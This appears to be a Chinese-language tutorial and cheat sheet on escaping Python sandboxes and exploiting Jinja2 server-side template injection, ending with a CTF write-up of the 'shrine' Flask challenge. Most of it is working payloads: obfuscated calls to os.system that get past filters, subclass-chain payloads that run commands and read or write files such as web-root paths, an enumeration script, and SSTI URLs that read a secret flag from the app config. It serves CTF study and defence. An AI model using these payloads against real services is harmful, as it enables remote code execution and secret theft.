特殊方法

先学习几个方法

getattr __getattribute__ __init__ __globals__ __call__ f修饰符

f修饰符

1
2
>>> f'{__import__("os").system("ls")}'
11.py 视频 下载

getattr(self,attr)

触发条件:当获取不存在的对象成员时触发

参数:self 接收当前对象 attr获取成员名称的字符串

返回值:必须有值

作用:为访问不存在的属性设置值

__getattribute__ 无论何时都会在getattr()之前触发,如果 __getattribute__ 有返回值,就不会在触发getattr()

__getattribute__ (self,attr)

触发条件:调用对象成员时触发,无论是否存在

参数:同getattr

返回值:必须有值

作用:在具有封装操作(私有化时),为程序开部分访问权限使用

__init__

类实例创建后调用,用于实例化当前实例的一些属性

__globals__

以字典的形式返回函数所在的全局命名空间所定义的全局变量,和func_globals 功能差不多(就是返回当前空间下,能使用的模块,方法,属性的字典)

__call__

使实例能够像函数一样被调用

__class__

获取该实例所属的类

__mro__

返回类的继承顺序,元组形式

1
2
3
4
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
>>> ''.__class__.__mro__[-1]
<type 'object'>

__base__ __bases__

获取该类所属的基类

1
2
3
4
5
6
7
8
>>> ''.__class__.__base__
<type 'basestring'>
>>> [].__class__.__base__
<type 'object'>
>>> [].__class__.__bases__
(<type 'object'>,)
>>> [].__class__.__bases__[0]
<type 'object'>

函数名被过滤

可以利用getattr getattribute + 编码绕过

1
2
3
4
5
6
7
8
9
>>> __import__('os').__getattribute__('flfgrz'.encode('rot13'))('ls')
11.py 视频 下载

放几个payload
getattr(__import__("os"),'flfgrz'.encode('rot13'))('ls')

getattr(__import__('os'),'metsys'[::-1])('ls')

__import__('os').__getattribute__('metsys'[::-1])('ls')

继承链

1
2
3
4
>>> [].__class__.__base__.__subclasses__()[59].__init__
<unbound method catch_warnings.__init__>
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']
<module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>

来个脚本跑一下,能拿到更多的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#coding:utf-8

search = 'os' #也可以是其他你想利用的模块
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
"""
(<class 'site._Printer'>, 72)
(<class 'site.Quitter'>, 77)
"""

放几个payload python2.x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

# 利用file()函数读取文件:(写类似)
().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()
# 执行系统命令:
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].os.system('ls')
# 执行系统命令:
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')
# 重新载入__builtins__:
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

# 利用 __getattibute__ 方法

x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')

python3

1
2
3
4
5
6
7
().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')

().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")

''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")

[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')

eg

一道ctf记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

注入点在路径 /shrine/<path:shrine>

过滤了() 并且把config self置为空

要是没被处理 可以用

1
2
3
4
5
6
7
# config
http://shrine.chal.ctf.westerns.tokyo/shrine/{{config}}
# self
# {{self}} => <TemplateReference None>
http://shrine.chal.ctf.westerns.tokyo/shrine/{{self.__dict__}}
# ()
http://shrine.chal.ctf.westerns.tokyo/shrine/{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}

payload

1
2
3
/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

参考链接

https://juejin.im/post/5a3de02af265da432653098d

https://xz.aliyun.com/t/2308#toc-4

https://www.smi1e.top/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/#i-7